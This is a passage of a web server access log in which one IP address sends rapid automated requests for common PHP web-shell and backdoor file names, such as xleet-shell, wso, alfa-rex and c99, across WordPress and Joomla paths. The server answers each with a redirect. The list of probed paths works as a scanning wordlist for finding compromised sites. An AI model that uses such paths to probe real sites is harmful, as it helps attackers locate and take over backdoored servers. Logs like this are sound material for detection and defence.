Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:42 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:42 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:42 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:42 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:43 -0400] "GET /wp-content/smm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:43 -0400] "GET /jetpack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:43 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:43 -0400] "GET /.wp-back.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:43 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:22:43 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:43 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:22:43 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:22:44 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:44 -0400] "GET /libraries/fof/database/iterator/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:44 -0400] "GET /wp-content/data-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:44 -0400] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:44 -0400] "GET /plugins/finder/categories/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:44 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:44 -0400] "GET /thanks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:22:44 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:45 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:45 -0400] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:45 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:22:45 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:22:45 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:45 -0400] "GET /wp-content/themes/applica/400.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:22:45 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:45 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:46 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:46 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:22:46 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:46 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.195.91.27 - - [27/Apr/2025:19:22:46 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:46 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:46 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:22:46 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:46 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:47 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:47 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:47 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:47 -0400] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:47 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:47 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:47 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:22:47 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:48 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:48 -0400] "GET /wp.php?Chitoge HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:22:48 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:48 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:22:48 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:48 -0400] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:48 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:48 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:48 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:49 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:22:49 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:49 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:49 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:22:49 -0400] "GET /wp-includes/sitemaps/providers/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:49 -0400] "GET /wp-includes/PHPMailer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:49 -0400] "GET /wp-admin/maint/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:49 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:49 -0400] "GET /wp-includes/images/crystal/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:50 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:50 -0400] "GET /wp-admin/css/colors/ocean/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:50 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:50 -0400] "GET /wp-admin/maint/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:50 -0400] "GET /wsoyanzfv3.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:50 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:22:50 -0400] "GET /wp-admin/css/acces.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:22:50 -0400] "GET /wp-includes/css/str_replace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:50 -0400] "GET /wp-admin/css/colors/midnight/strcmp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:51 -0400] "GET /wp-admin/includes/sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:22:51 -0400] "GET /wp-includes/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:51 -0400] "GET /wp-includes/images/crystal/option.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:22:51 -0400] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:51 -0400] "GET /wp-admin/images/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:51 -0400] "GET /wp-includes/server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:51 -0400] "GET /wp-admin/images/APLpewO.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:51 -0400] "GET /wp-admin/js/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:22:51 -0400] "GET /wp-admin/images/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:52 -0400] "GET /wp-admin/css/colors/blue/ovairezah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:52 -0400] "GET /wp-includes/pomo/xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:52 -0400] "GET /wp-includes/fonts/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:22:52 -0400] "GET /uploads/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:52 -0400] "GET /wp-content/uploads/2024/09/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:22:52 -0400] "GET /wp-admin/css/colors/midnight/fxtell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:52 -0400] "GET /files/mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:22:52 -0400] "GET /images/pushy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:52 -0400] "GET /wp-admin/css/colors/midnight/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:53 -0400] "GET /wp-admin/includes/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:22:53 -0400] "GET /wp-content/uploads/zi_whatisit___bea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:53 -0400] "GET /wp-includes/wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:53 -0400] "GET /images/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:22:53 -0400] "GET /wp-content/uploads/class.enhanced.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:54 -0400] "GET /wp-includes/ms-load-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:54 -0400] "GET /wp-admin/maint/Mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:54 -0400] "GET /images/photo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:22:54 -0400] "GET /images/g3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:54 -0400] "GET /wp-includes/miso-bold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:54 -0400] "GET /wp-includes/compats.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:22:55 -0400] "GET /wp-admin/network/wp-xZ2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:55 -0400] "GET /wp-admin/css/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:55 -0400] "GET /images/exif.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:55 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:55 -0400] "GET /wp-includes/email.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:55 -0400] "GET /uploads/phpimage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:55 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:55 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:56 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:56 -0400] "GET /wp-admin/maint/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:22:56 -0400] "GET /wp-admin/css/sidebarg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 